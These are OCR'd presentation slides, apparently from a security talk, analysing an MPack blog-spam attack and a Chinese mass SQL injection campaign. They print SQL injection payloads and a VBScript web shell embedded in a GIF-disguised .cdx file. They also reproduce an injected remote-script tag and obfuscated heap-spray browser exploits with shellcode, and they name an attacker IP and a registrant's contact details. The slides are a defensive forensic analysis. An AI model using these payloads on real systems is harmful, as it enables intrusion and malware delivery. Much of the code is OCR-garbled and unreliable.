<::| - @ 'I‘f;\[ | wwy updateonline. ocfwinupdate/mpackajReadme. k]| j @ o ||GL
" Getting Started [y Latest Headlines
rF
NPack v0.99 =
FoTaHOBRA:

1) CROOMPOBATE COLNSDEMMOS HA XOCOT
2] VOTaHOBHMTE Ha NaOry Opaba chmod (777)
3] OTPEOARTHPOBATE HACTPOMENM CBEASEM B (falle Ssettings.php

B

fhdminPath = "http://host.com/spk2"; //myTe B ODanmke © YCOTAHOBISHHON SOMMHRONR s
//MODHMH M DAponE OOA DOCTYIS K CTATHCTHEE

$UzerName="user";

{Password="mpackz";

jBlockDuplicates=1; (/ 1 - BNORMhOBATE TMOBTODHHE Z&X¥O0IH

jCountRefererzs=1; //1 - BecTHM yvueT pedepepoR (OTEYOA OThMXOOMT Thadd)

{MinRefs=5; //MHMHMMANEHOE ROJBO IOABJIEHKMH pedepepa UToBH OH OTOBPASHACA HA CTPAHMIE CTATHMCTHREM

OAHIYN BERCHI0 BRIDOWEHO AOMBLOE ROJMUECTEO YHBBI’!II'IDCTEIE Ha NEPENONHEHHME, IIOITOMY HACTOATEINRHO DERO

Ioganep (MOM OpyDoH SarpyEaceMHE Gafn) DoIHeH HAXOOMTECA B OAORE ¢ YVOTAHOBIEHHONM CEASKOH ¢ MMeHsEM f£i

3.1) Ecmm BymeT MCOONESOBaTECA MyS0L D4 HDogoueTs CTAETHCTHMEM 00 CTPaHAM, HASCTPOMTE M ENO:

$UseMy30L = 0; // ZaMeHMTE Ha 1 ecad BvIeT HMCOIONES0OBSTECA

fdbhost = "localhost™; //XoCT Ha KOTOpOM DacOOIOMEH MyCHYIE

fdbuser = "spluser™;

fdbhpass = "splpass":

Sdbname = "spldb"; //mMa G85H OaHHHX

fdbstats = "stats"://mMa TafaMum B 3ToH Baze -
1 | 4

Done




MPACK

« MPACK uses some log files

ip_all.txt & ip_Oday.txt

« Shouldn’t be globally viewable, but were

— Only one IP listed in log

« Owned by attacker, used when setting up MPACK

78.155.196.69

n196-155-78-static-69.rsspnet.ru. (looks like a possible Russian DSL line?)

domain: RSSPNET.RU
nserver: ns2.rts.spb.ru.
nserver: ns.rts.spb.ru.
person: Igor Sergeevich Diakonov
phone: +7 921 4212525
* e-mail: igorsd@sysadmins.spb.ru




Blog Spam

E-mail register
Comment post NN _
Domain owner Chinese . Victim Clicks

AttaC k | Domain IP Czech Post

Visitor IP German

Process — _ —i
F I OW myhestcounter.net

P updateonline.cc -
Y Y Y l |
globstat.cc bid-gssist.org pornocrawler.exe climbingthewall.info, prolnx.info
Y Y
ntop.inio
_ Y 4
prolnx.info/anr/usi0
dMPACK ' 08.anr

gomyhit.com
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* This attack was very complex E

* Lots of evasion and obfuscation = =
* End goals unclear

* Changes often, updates rapidly to take
advantage of new attacks

« Attacker(s) made mistakes
« DON'T CLICK WEIRD COMMENT LINKS!
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-
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Chinese Injection




Chinese Injection

* Hackers are attacking thousands of websites

* |nitial goal is to compromise the 10’s of

thousands of visitors to these sites

« Secondary goal appears to be info:

« Game accounts

e~
——— 4
.
- : -
| -
| . b‘ \ -
{' .I » 5 S L -
- - .t Py 2]
N i
K .
oela . M

Passwords

-inancial info

W <ot

 Attack infrastructure robust and quiék to adapt




Chinese Injecti

* Analysis process
— View victim website, locate injected code

— Parse victim logs for initial attack

— WGET code from attacker site

* Follow any links

« Decode obfuscated instructions
* Debug javascript

* Decompile Java Applets

— Lookup owners of domains / IPs
— Reverse any exploits / binaries




Chinese Injection

1st stage: Find & hack website using SQLI
— Upload backdoors

2nd stage: Inject small JS or IFRAME

3rd stage: Clients visit hacked site

— Begin complicated attack:
- IFRAMES
* Redirects
- exploits

4th stage: Client is compromised
— Steal game credentials, keylog, usual stuff




Chinese Injection

Attack begins with 58.218.204.214

— Searches the web
» Chinese version of Google
— Looks for target sites

« Ending in .com with ASP in the URL
 The word "tennis" somewhere on the site

* Other IPs from China show up scannlng with
various SQLi techniques L) - ET—

inethum:

descr:
descr:
descr:
descr:
country:

HOST INFO -

netname:

58.208.0.0 - 58.223.255.255
CHINANET-JS

jilangsu province network
China Telecom
A12,Xin-Jie-Kou-Wai Street
gﬁmng100088




« Example Log Entry:

— 2008-12-13 02:10:41 :
— 192.168.1.[victim] HEAD /vuln.asp 80 §&

— 58.218.204.214

— HTTP/1.0 Mozilla/4.0+
(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1;+.NET+CLR+2.0.50727)

— http://www.google.cn/search?num=100&hI=zh-
CN&lr=lang_en&cr=countryUS&newwindow=1&as_qdr=all&
g=inurl:asptid+intext:tennis+site:.com&start=300&sa=N

 Chinese language search settings
* Targeting specifically US addresses only

— www.thevictim.com 200 0 0 299 563 312




Chinese Injection

* Once a target is found they attempt SQL
injections

* Logs show HTTP 500 status codes
— Consistent with an Internal Server Error
— Most likely using db errors to gather info

— Use both URL / Hex encoding as well as
CHAR encoding & Upper / lower case

* For detection evasion and obfuscation




Chinese Injection

 LOG EXAMPLE

— 2008-12-13 03:22:34

— 192.168.1.[victimip] GET /vuln.asp

— search=T&id=

~ 216%20%20AnD%20%28dR NaMe%280%29%2BcHaR%2894%29
$2BuSeR%2BCcHaR%2894%29%2BRRVErSiOn%2BcHaR%2894%

29%2BA@AsErVeRNAMES2BcHaR%2894%29%2BQAWdsErviCeNaM
e%2BcHaR%2894%29%2BsYsTeM UsErs29%3D0%20%20

— 80 - 58.218.204.214

— M;)zilIa/4.0+(compatibIe;+I\/ISIE+6.0;+Windows+NT+5
.0
www.victim.com 200




Chinese Injecti

 Need a decoder for the data
— DECODER:

e ruby -e '"[INSERT ENCODED DATA
HERE]" .scan(/../) .each { |b| print
b.to i(16).chr };puts’

— ENCODER:

e ruby -e '"[INSERT DATA TO BE ENCODED
HERE] " .each byte {|b| puts b.to s(16) }'

* Encoded data is actually SQLI:

- 216 AND (DB _NAME (0)+ ~ +USER+ ~ + QE@VERSION
+~+Q@@SERVERNAME+ ~+Q@@SERVICENAME+"+
SYSTEM USER)=0




Chinese Injection

« Colin’s quick decoder

Handles both HEX, CHAR & nested encoding
Fixes case

#!/usr/bin/ruby
encoded = ARGV[0].to_s

tmp = encoded.gsub(/%../) {|match|
match[l..2] .hex.chr }

tmp = tmp.gsub(/[cC] [hH] [aA] [rR]\ (\d\d\)/)
{ I match| match[5..6].to i.chr }

tmp = tmp.gsub (/0x(\d| [abcdef])+/) {|match|
match[2. .match.length] .gsub(/../) {|matchl|
matchl.hex.chr} }

puts tmp.upcase




Chinese Injection

* Doubly encoded attack

2008-12-13 03:22:35 192.168.1. [victimip] GET /vuln.asp
search=T&id=216%20AnD%20%28cAsT%28iS srvrOlEmEmBeR%280x7300790073006
10064006d0069006e00%29aS%20vArChAr%29%2BcHaR%2894%29%2BcAsT%$281iS srv
rOlEmEmBeR%280x64006200630072006500610074006£007200%29aS%20vArChAr%2
9%2BcHaR%2894%29%2BcAsT%28iS srvrOlEmEmBeR%280x620075006c006b0061006
4006d0069006e00%29aS%$20vArChAr%29%2BcHaR%$2894%29%2BcAsT%28iS srvrOlE
mEmBeR%280x6400690073006b00610064006d0069006e00%29aS%20vArChAr%29%2B
cHaR%2894%29%2BcAsT%28iS srvrOlEmEmBeR%280x7300650072007600650072006
10064006d0069006e00%29aS%20vArChAr%29%2BcHaR%2894%29%2BcAsT%28iS mEm
BeR%20%280x7000750062006c0069006300%29%20aS%20vArChAr%29%2BcHaR%2894
$29%2BcAsT%$28iS mEmBeR%20%280x640062005£006£0077006e0065007200%29%20
aS%20vArChAr%29%2BcHaR%2894%29%2BcAsT%28iS mEmBeR%20%280x640062005£0
06200610063006b00750070006£00700065007200610074006£007200%29%20aS%20
VArChAr%29%2BcHaR%2894%29%2BcAsT%28iS mEmBeR%20%280x640062005£006400
610074006100770072006900740065007200%29%20aS%$20vArChAr%29%$29%3D0%20 |
38|80040e07|Syntax_error converting the varchar value '0707070707171
~070' to a column of data type int. 80 - 58.218.204.214 HTTP/1.1
Mozilla/4.0+ (compatible;+MSIE+6.0;+Windows+NT+5.0)
ASPSESSIONIDASCRQQRC=JEJNPOEBDIJNIJPGIFJNAGJM - www.victim.com 500 O
0O 586 1174 343




Cinese Injecti

* Decoded version

— 216 AND (CAST (IS_SRVROLEMEMBER(SYSADMIN)AS VARCHAR)
— + M+

— CAST(IS_SRVROLEMEMBER(DBCREATOR) AS VARCHAR) + * +

— CAST(IS_SRVROLEMEMBER(BULKADMIN)AS VARCHAR) + * +

— CAST(IS_SRVROLEMEMBER(DISKADMIN)AS VARCHAR) + * +

— CAST(IS_SRVROLEMEMBER(SERVERADMIN)AS VARCHAR) + * +
— CAST(IS_MEMBER (PUBLIC) AS VARCHAR) + / +

— CAST(IS_MEMBER (DB_OWNER) AS VARCHAR) + * +

— CAST(IS_ MEMBER (DB_BACKUPOPERATOR) AS VARCHAR) + A +
— CAST(IS_MEMBER (DB_DATAWRITER) AS VARCHAR))=0

— |38|80040E07|




Chinese Injection

« Numerous Chinese tools and how-to sites exist for
generating these types of attacks

Example:

« NBSI 3.0 SQLi generation tool
« HVIE by softbug

F O TEIR T - ASCIRMARE (X BT 16 SR by xofthn;

50
BA : [rritend -] : =
=AM X T AM R0 M4 00
I aéd aiphe [ =
g & TR
4 |
L 24
St © [ (70)%2bnchar (66)Rbmchar (63)Rbnchar (60) R bnchar 515 =] ME T ETPE NS ‘
EERLENS |
| BRI \
| | i3
(=R

[icrosoft OLE DB Provider for SQL Server ifi% 78004007’

7 varchar 1H 02’ ${RMIIEERY int BFETESFEER.

AN

" Q@
ﬂeuarea if‘wﬂ‘ 1= TE. rnnbml 71 I 2 s AERC

d/mtlh:bi

563 2/ mige/dd_rees.spc-1117

rF 4 =) in i = 3
r i (= c
c Iy i (s (o
SREES BTG SRR
N EET:
Scan l_, ------ I Bac ):I Da.tob ze ] Getfabshe d.] E c&cadc ] Covnander ] Treelizt I

SI 3.0 RRIN TFhSE




Chinese Injection

 Chinese How-to sites with similar attack code:

¥)NBSI2000000000 - Mozilla Firefox (=] |
File Edit Vew History Bookmarks Tools Help

- 7 lm‘http:ﬂit.i(xo.com}‘htmlnews,f2004,f12,!’03,!’493?48.htm - |

| ) nBSI A STIRERIRE(MSSOLI(E) .| | (D) NBSIZH HFR KW A RS 8| B
GET /atticle_read. asp?id=80;declare %20@a %20int-- HTTR/1.1 -l
B : article_read.asp?id=80;declare @a int--

MY REZRS D&Y

GET /atticle_read. asp?id=80%20and %20({Select %20count(1) %20from %20[sysobjects])>=0 HTTP/1.1
Accept: image/gifimage/x-xbitmap imagefjpeg image/pjpeg, ™

User-Agent: Microsoft URL Control - 6.00.8862

Host:

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: articleid=80%3Bdeclare %40a int%2D%2D; ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJIGED

Bl : article_read.asp?id=80 and (Select count(1) from [sysobjects])>=0

MR EZ T ENR

GET /article_read. asp?id=80%20And %20user%2Bchar(124)=0 HTTP/1.1

Accept: image/gif image/x-xbitmap imagefipeqg, image/pjpeg, ™

User-Agent: Microsoft URL Control - 6.00.8862

Host:

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: articleid=80 and %28Select count%281 %29 from %5Bsysobjects %50 %29 %3E %300,
ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGIGED

B : article_read.asp?id=80 And user char(124)=0

e E T

user@S0OLServert) —MAEER |, BHER MEERNASE , &8 bnvarchar, —PrvarcharfIERIntIHOLE | KRGS K48 H
nvarcharf) B Kint& |, EFHERFERSHE , Y24, BENIBHERSHE |, SOLServert) HEERRR - Fnvarcharf 8#3221;east_asp &#8221; #
BMWEAED int KIBIN ZEFXEIR , @0, east_aspERTERusertIfE , 38, TERRZHHSE THREENAF S, and user=0
GET farticle_read. asp?id=80 %20And %20Cast(IS_SRVROLEMEMBER(D:7 30079007 300610064006 DO06S006EQD) %20as %20varchar(1)) %2Bchar(124)
=1 HTTP/1.1

Accept: image/gifimage/x-xbitmap imagefjpeqg,image/pjpeg, ™

User-Agent: Microsoft URL Control - 6.00.8862




Chinese Injection

 Chinese How-to sites with similar attack code:

¥INBSI 00000000O(MSSQLO)O) _ 000 Owww.angn.com _ 000000000000 - Mezilla Firefox o [=] 3]
file Edt View History Bookmarks Tools Help
@ - o (D] nqn. com/article 1 shtml - @] J:
=
2) SEFENE
B TRRNY, RETHOERNRHPROME, 7, FEEATLATHEORY. FEOEBR
And (Select Top 1 isNull(cast([sName] as varchar(8000)), char(32))%2Bchar(124) From (Select Top 9 sName From [News_Style] Where 1=1 Order by sName) T Order by sName desc)>0
Lefinews_styleBTSRRT , RREHWUBERE , FEHNORTEFISH snameFRENBOFITRNOME. BFLR, WA | HERITFT.
RFEE-T : char(124)XMNEE, B ENDETERREER) FHREBREMNERRTIR , RERHBE, ERNEPNR | XFBRNBSIH LTSN
FREDA|"ZENENRE. FEOFISAEET.  -) § '
2 iy_test|
C1Y_Column_Name ‘r":‘n"bf:“:'_lesu
nb_test]
pe_testl
salel
BIETE? GEHEE"|"HS.
3) XTRBEBANTBIEAFN
AROWRE , NBSHIUBEFROEORERR , BROFT—T , ETH. BERNEHN - RO ZEOE, BLENZNAS KBR 2
NBSIf EBREESH
F-SERA 1) WHEBICR Y. B-LHA
And (Select Top 1 isNull(cast([UserName] as varct 0)),char(32))%2Bchar(1 24)%2Bi [PassWord] as varct .char(32)) From (Select Top 1 UserName,Password From [N

ticrosoft OLE DB Provider for SQL Server §#i2 ’80040e07

§ varchar 18 “bandit|310810° $$IEMHEBHEAN int MTIETEEIFEER,

(EBE|NSBEAT2IHME)

News_user2—1RE , Char(12)BHTSHRT., ARTLURBHER , £ LENEAOMN2 ) EMOERTHIE—T., BAERBIKA AN RBHEE HRAEHE
BELRSFTRAENTE, WRERSN, —~RESFPFENEFRERELTHE. X2ARBHRE-TAR : 21 FROENREFTEANRL VO ANNEFAHEETTS
4, FIRINBSIHORHR IS LR B9 EHE LB |

B ARETRACVBABHMARTRRERNS TN RRERF , (RN RHAARE T BCHNBSL. MSHHUIERE Aint¥ g hik,
BF

EREFREENHUEGRIE  LWREINRRRE —MHRFNHIBTET., ARFEEEE, NBSIZMAYM MEETEANR ? ARSESQLEERE— TR
HEET. NBSIEARMNRUNFATREE

2 IBFIISRTRL MAERIEEIZ00,101 H B, MWPEESOONRRHI T #iR.
3 BFEANUMIISHERFE , REECHIERESEANTMEMLE | (R , AERBERNHTMLE BREFE AN | ARFU BRESE , THE)
ESHEAE , ARRNIFEF ., THREEF , XA

+
T3




Chinese Injection

* |n this particular case, the SQLi fails

» Google shows several thousand websites
redirecting to the various URLs

— Many probably via SQLi
« 17gamo.com
e yrwap.cn
* sdo0.1000mg.cn
 www3.800mg.cn
* jjmaoduo.3322.org
« douhungn.cn




Chinese Injection

58.218.204.214 discovers a library component of the victim

— Allows image uploading
Attacker uploads a file called 01.cdx to the images directory

What is a CDX file?
— A type of image object file

Image library only allows certain file types
— CDXfiles allowed

In this case 01.cdx is a GIF

— Contains embedded code, similar to a GIFAR

— < script language = VBScript runat = server >execute
request("go")< / Script >
;<%execute (request("lionl21")) %> <%executeglobal
request("lionl21") %> <%eval request("lionl21") %>




' Chinese Injectio

* By default lIS interprets CDX files as ASP
scripts

« The victim image library allows CDX file
¥ uploads

— Some image libraries verify file type is an image
before allowing upload

— To bypass these checks, the attackers used a
real GIF file with embedded VBScript

— The image library will detect a real GIF file and
allow upload to take place,

— The IIS server will interpret the VBScript code like
any other ASP script




Chinese Injection

They make HTTP POST's to the CDX

This makes analysis more difficult due to a lack of information in the
web logs when using a POST.

They make one GET:

— 2008-12-13 04:25:15 192.168.1. [victimip] GET
/Images/01.cdx |18|800a000d|Type mismatch: 'execute'
80 - 58.218.204.214 - -
Mozilla/4.0+ (compatible;+MSIE+6.0;+Windows+NT+5.1;+SV
1) http://www.victim.com/vuln image library.asp
www.victim.com 500

Then follows a series of about five posts to the .CDX file
Then they create log.asp and top.asp

Log.asp is a fairly well known ASP backdoor in the Chinese
language

Username for backdoor is "lion121"

Password is some Chinese character set string




Cinese Injecti

* We can determine a few things from the
way they use this backdoor

* First they use GET's instead of POSTs

* Lets us see what params are passed to
the app

— GET /Images/log.asp Action=Show1File GET

~— T T

mages/
mages/
mages/

og.asp Action=MainMenu GET
og.asp Action=UpFile GET
og.asp Action=Cmd1Shell GET

top.asp Action=plgm




* Then they switch to POSTs

— Eliminates our ability to see
« POST /Images/log.asp Action2=Post}”
« POST /Images/log.asp

* Eventually, after many posts, they embed
their code on every page of the victim’s
site:

— <script src=http://yrwap.cn/h.js></script>




Chinese Injection

 Source of the JS:

— document.write("<iframe width='100" height="0’
src="http://www.17gamo.com/coo/index.htm'</iframe>");*M

— document.write("<iframe width='0" height='0'
src="http://www.trinaturk.com/faq.htm'</iframe>");*M

« We've seen 17gamo before in failed SQLi attempts
* Probably indicates all attacks / IP’s related

* Note the *M, probably created on windows

* Begins typical IFRAME redirects in many
directions




Chinese Injection

<script language="javascript" src=
"http://countl7.51lyes.com/click.aspx?id=171044941&logo=1"></script>
<html><script>

document.write ("<iframe width=100 height=0 src=14.htm</iframe>");
document.write ("<iframe width=100 height=0 src=flash.htm</iframe>");
if (navigator.userAgent.toLowerCase () .indexOf ("msie7")>0)

document.write ("<iframe src=IE7.htm width=100 height=0>");

try { var d;

var lz=new ActiveXObject ("NCTAudio"+"File2.AudioFile2.2");}

catch(d) {};

finally{if (d!="[object Error]") {document.write("");}}

try { var b;

var of=new ActiveXObject ("snpvw.Snap"+"shot Viewer Control.1l");}
catch(b) {};

finally{if (b!="[object Error]") {document.write ("

<iframe width=100 height=0 src=office.htm");}}
function Game () {

Sameee = "IERPCtl.IERPCtl.1l";

try { Gime = new ActiveXObject (Sameee); }

catch (error) {return;}

Tellm = Gime.PlayerProperty ("PRODUCT"+"VERSION") ;
if(Tellm<="6.0.14.552")

document.write ("");

else document.write(""); }

Game () ;




Chinese Injection

* Deploys multiple exploits

IE 7 MS08-078 (recent Oday)

Flash exploit for 6.0.14.552

Microsoft Access Snapshot Viewer ActiveX Control Exploit
RealPlayer rmoc3260.dIl ActiveX Control Heap Corruption

IE NCTAudioFile2.AudioFile ActiveX Remote Stack OverflOw

A ton of other SWF exploits depending on version (| counted at
least 12)




Chinese Injection

IE 7 MS08-078

<html|>

<div id="le70day">x</div>

<script>

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?":e(parselnt(c/a)))+((c=c%a)>357String.fromCharCode(c+29):c.toStr
ing(36))};if(!".replace(/*/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return
d[e]}];e=function()}{return'\\w+"};c=1};while(c--){if(k[c]{p=p.replace(new RegExp(\\b'+e(c)+"\\b','g"),k[c])}}return p}(‘a
2=9("%1h%f%19%11%1i1%1j%r%11%1k%1€%1d%17%r%16%I|%15%18%19%1c%1b%1a%1m%1n%1z2%1y%1x
%1A%1B%1D%1C%1wW%1v%!1%19%14%10%1r%15%1u% 1t%1E%U%K%M%N%H%F %A%B%m%D%E %0 %m
%Z%q%b%q%Y % 11%g%b%q%y % 13%6 %R %W %P %L % T %S %s%Q%V %6 %12%10% G %J % 1p%1Q%2n%Cc%7
%2mM%20%2p%S$%6 %7 %29%21%2k%Yy % 1F %2f%2e %7 %2d%29%2h%2t%Cc%2i%25%1%2B%2E %2D %2 G %2F %
4%21%1%2H%2C%2W%2V%2uU%2X %2y %2A%22%4 % 2]%1 Y%k %j %4 % 2b% 1 %k %j%4%2Cc%1% 1R % 1S % 1U%0%
1T%10%1IN%11%1H%1G%1J%1K%Nn%0%n% 1M%1L%f");a 2=9("%8%8"); 1V{2+=2}1W(2.26<25);d=27
28();2a(i=0;i<29;i++)d[i]=2+z;e="<3 x=1><X><C><![23[<1Y 1X=1Z://&#W;&#W;.20.22>]]></C></X></3><5 t=#| u=C
v=p><3 x=1></3><5 t=#| u=C
v=p></5></5>";h=21.24("1P");h.2r=e;',62,169,"|uffff|spray| XML |ue800|SPAN|uff52|u53d0|u0ala|unescape|var|uOe
4e|uff00|memory|xmlcode|u0000|u8e68|tag||u765c|u2e2e|ueb01|u5b8bju6e69|u772f|[HTML|uffec|u8b18|usad6|DA
TASRC|DATAFLD|DATAFORMATAS|x0a0a|lD|uebd6|shellcode|u6459|u198b||u8b0c|u1c5blu306ajuSbeblu5e00]|
u6ad59|ude5fluaab8|udb5d|u08c2|u1b8b|u5352|u4deb|u89d0|uff7clu0dfcluc031|u5159|u52¢c2||u89d6|u5308|uda72
|u53c7|uebd0|u5a50t14b00|u32e3$u2053gu4a8b|u8b49$u8b34 u31fc|uff31|uee01|ueal1|u7805|u5655|u5300|uS6e
8|u8b57|u246¢|u548b|u3c45|uaccO|ue038|uda8blu6a00|u8b66|u011clu8beblue801|u8b04|u245aju8be1|u010d|ucf
c1|u0774|uebc’|u3bf2|u7514|u247c|u02eb|u5944|u6d6flu632e|ubfef|lu612flu6d64|u6578|u652e|u6574|u732¢|le70
day|u5100|u7468|u7074|u7777|u2f3a|do|while|SRC|image|http|xiaolen|document|com|CDATA|getElementByld|0Ox
d0000|length|new|Array|100|for|uffb7|uff89|u7e68|uff51|u006alue2d8|uff73|ue8dO|uffalluffOe|u8afe|ua068|u6a52|
uc9d5|uff4d|u9868|innerHTML |uffablu6ad6|u616flu6c6e|u776flus5464|u466f|lud165|ubeo9|u7275|ud44clubetf|lucd
6¢clubebe|lubd2e|us255|uffae’.split(']'),0,{}))

</script>
</html>




Chinese Injection

Microsoft Access Snapshot Viewer ActiveX Control Exploit

<object classid="clsid:FOE42D50-368C-11D0-AD81-00A0C90DC8DY'
id="obj'></object>

<script language='javascript'>

eval(function(p,a,c,k,e,d){e=function(c) {return
c.toString(36)};if(!".replace(/*/,String) ){while(c-
-{d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return
d[e]}];e=function(){return\w+'};c=1};while(c-
-Nif(k[c]){p=p.replace(new RegExp(\\b'+e(c)+\\b','g’),k[c])}}return

'‘a="b";2 3=\'9://d.e.7/5/6.1\";2 4=\'8:/c q m/f o/p

I/k/g/h.1\;0.i=3;0.j=4,;0.n();',27,27,'obj|exe|var|buf1|buf2|admin|win|co
m|C|http|test|lengoo|Documents|www|steoo]All|Startup|Thunder|Sna
pshotPath|CompressedPath|Programs|Menu|Settings|PrintSnapshot
|Users|Start|and'.split('['),0,{}))

</script>




Chinese Injection

NCTAudioFile2.AudioFile ActiveX Remote Stack OverflOw

<html>

<script language="JavaScript" defer>

window.onerror=function(){return true;}

eval(function(p,a,c,k,e,d){e=function(c){return c};if(!“.replace(/"/,String))}while(c--){d[c]=k[c]||c}k=[function(e) return

d[e]}];e=function(){return\\w+'};c=1};while(c-- {if(k[c]{p=p.replace(new RegExp(\\b'+e(c)+"\\b','g"),k[c])}}return p}('78="77";1
12=15("%76%22%79%80%82%81%17 % 75%74%69%68%67 %17 %70%29%71%73% 72%83%84%95%94 %96 %97 %99 %98 %66 %92%
87%86%85%88%29%89%91%90%100%52%45%44 %46 %47 %4 3%48%49%41%42%65%060%28%59%6 1 %64 %28%50%37 %38%31%
58%57%37%38%31%25%54%16%56%55%53%51%63%62%20%93%133%16%144%143%145%146%148%147%142%19%13%141
%136%135%20%16%13%137%138%140%25%101%139%150%13%157%161%160%159%19%163%165%6%164%162%158%152%
151%9%153%6%154%156%155%149%134%112%111%113%114%9%116%6%23%30%9%115%6%23%30%9%110%6%109%104%
103%26%102%105%106%108%107%117%118%128%27%26%27 %127 %129%22");1 3=15("%18%18");1 39=130;40 132(){1 11=131;1
4=1 5("%7%7%7%7");36(4.14<1 1)4+=4;4=4.35(0,11);126.125(4)}40 21(3,5){36(3.14*2<5){3+=3}3=3.35(0,5/2);120(3)}1 10=119;1
33=121;1 24=(12.14*2);1 5=10-(24+33);1 34=(39+10)/10;1 32=122
124();3=21(3,5);123(8=0;8<34;8++){32[8]=3+12}',10,166,'|var||sSlide|x|sSlide Size|uffff|Oc|ijue800|heapBS|buffSize|sCode|u53d0|length|u
nescapeluﬁ52|u8b18|u9090|uf‘f00|u5ad6|getsSIide}u0000|u2e2e|PLSize|uebd6|u772f u6e69|usb8blueb01|u765c|uffecimemory|sizeHDM|
heapBlocks|substring|while|u8e68|uOe4e|heapSAlfunction|u5e00|u306a|u5e5flue801|u8b04|u02eb|uc031|u5b5d|u08c2|u5308|uaab8|u8
beb|u5352|u5a50|u52c2|u89d0|u53c7|u89d6|u8b0c|u198b|u1c5b|uff7clu0dfc|u1b8blu6459|uebc7|u4a8blueal1|u7805|u205a|u32e3|u8b
34|u8b49|u548b!u3c45|u56e8|game|test|u5300|u5655|u2460|u8b57|uee01 |uff31|u8be1|u7514|u247c|u245a|u8b66|u5a8blu4bOc|u3bf2|u
4debluaccO|u31fclue038|u0774|u010d|ucfc1|u011c|u5944|u7777|u2f3a|u7074|u732e|u6574|u632¢e|ubfof|lu7468|uff89|u466flus5464|ube69
|u4165|uffb7|uffa0|u6d6f|lu612f|0x400000|return|0x5|new|for|Array|SetFormatLikeSample|boom|u652e|u6d64|u6578|0x0c0c0c0c|5200|try
Me|u5159|u616f|uff4d|uc9d5|u9868|u8afe|u006a|uffOe|ua068|uba52|uba72|uebdOjusbeblu6a59|u5100|u6a00|ubebe|uff51|ubebe|ub42e|u
ffae|u5255|u776flu444clu7eb68|ubebflubad6|uff73|ue2d8|u6dbc|ue8d0|u7275|uffab'.split('['),0.,{}))

</script>

<body onload="JavaScript: return tryMe();">

<object classid="clsid:77829F 14-D911-40FF-A2F0-D11DB8D6D0OBC" id="boom'></object>
</body>

</html>




Chinese Injection

RealPlayer rmoc3260.dll ActiveX Control Heap Corruption

<script language="JavaScript">
eval(function(p,a,c, k,e,d){e=functionﬁc)éreturn(c<a?":e(parsel nt(c/a)))+((c=c%a)>357String.fromCharCode(c+29):c.toString(36))};if(!".replace(/*/

,String) {while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+"};c=1},while(c--{if(k[c])}{p=p.replace(new
RegExp(\\b'+e(c)+"\\b','g"),k[c])}}return p}('1k="1n"0

[llo/ 17" llo/ 19“ llo/ 1 ll llo/ Kll |l0/ 1J|l llo/ 1El|+"0/ mll "o/ 1 ll+|l0/ 1B|l llo/ 1 l|+"0/ mll "o/ Bll "O/ 1 1 ll+|l%1X|l+l|%mll l|%B|l+'l%1 1 ll+ll%Kll+ll%m",ll%
Jll llo/ Wll llo/ 1Z"+"o/ mll llo/ J" ll(y Wll |l0/ 1A|l llo/ mll llo/ 1Wll+llo/ 1 1||+l|0/ 1Vl|+"o/ Bll] p O(){
u=z. 1r["\\A\\H\\1s\\H\\1u\\t\\1t\\1 C\1D\1 N\\t"]() d(u. k("N 6")==-1&&u.k("N 7")==-1)p;d(u.k("10 5.")==-1)p;0
Zx="1P"+"1Q.I"+"1L"+"1K.1";Z=x;10{w=1F
1G[“\\1H\\L\\A\\1I\\1 R\t 1a\18\\1 b\\1c\\t\\L\\A"](x["1I“](/a/g,""))}1m(1d){p}Y "1i";M="1e";1f="1g";F="6.0.14.1h";Q=Y+M;h=w["1M"|(Q);b="";
r=I(j[0]);q(i=0;i<22*2s;i++)b+="S";d(h.k("6.0.14.")==-1){d(z.16.R()=="2t- 2r")f—I(J[1]) e d(z 16.R )——"2 20")f—|(j[2]) e p}e d(h==F)f=I(j[3]);e
d( -"6 0.14. 2p")f-I(J[4]) e d(h——"6 0.14.18")f=I(j[5]);e d h——"6 0.14.2v")f=I(j[6]);e d(h=="6.0.14.2u")f=I 5][7]) ;e p;d(h.k("6.0.10.")!=-
1)}{q(i=0;i<4;i++)b=b+r;b=b+fle d(h.k("6.0.11.")!=-1) q(i=0;i<6;i++)b=b+r;b=b+f}e d(h.k("6.0.12.")!I=-1){q(i=0;i<9;i++)b=b+r;b=b+f}e
d(h.k("6.0.14.")!=-1){q(i=0;i<10;i++)b=b+r;b=b+flo P,G="2x
2w";15="2y\\2z";P=G;8="";8=8+"2A";8=8+"2m";8=8+"2n";8=8+"21";8=8+"23";8=8+"24";8=8+"26";8=8+"25";8=8+"20";8=8+"12";8=8+"1U
",8=8+"1T",8=8+"1V";8=8+"1W";8=8+"1Y";1X="",v=b+15+8;T=27;28(v.2i<T)v+="2h";0 U=["c:\\\D E\\\y\\\..\W..\Wn\\WWAW2j.s", "c:\W\D
E\WWW2k.s","C:\\Wn\\W13\W\2].s","C:\\Wn\W\2g.2f","c:\\D
ENIANL AW AWAWWVW2a.s","C:\WnW 1 3\W29.s"T; wl"2b™](U[X. 20(X["2e“]()*6)] v,"2d",0,0)}0();',62,161, ||||||||SheIICode|||sdfdgdfg|||f|else|re
t||ReaIVerS|on||addr||ndexOf|unescape|60|WINDOWSlvarlreturn forIcvbcbb wav x65|user [xcbfexn Gamttt __Anhey_Real_Exp_Send|Realpl
ayerObj|NetMeeting|navigator|x74|63||Program|Files|dddd|Qqgs|x6F||79]04|x63|CuteRealVersion2|msie| Gameee_Timeeeeeee Saveeeee
eee_Logeeee_ssssssssssssssssss|Ball|CuteRealVersions|toLowerCase||temp|arr1|Medial31|Math|CuteRealVersion|Gamittt|||[system32]|
gwfgsg|userLanguage|75|x4F|06|x58|x62|x6A|error|VERSION|CuteRealVersion3s|chilam|544|PRODUCT|74|same|replace|catch|game]tr
y[function|4fluserAgent|x4C|x72|x77|70|51]|08|a4|01]|09|71|x43|x61|a5|new|window|x4 1|x69|7f|Caaataaal|EaaaRaaaP|PlayerProperty|x73
[ntlaaaEaaaR|PaaaCaaataaal|x76|552|PfEqTCuBgE GoDUtR4CfkvB4OEDc3UUGbVib4Wo5we6VQVouXdcEN|gOzmMTk8PUoVNENN
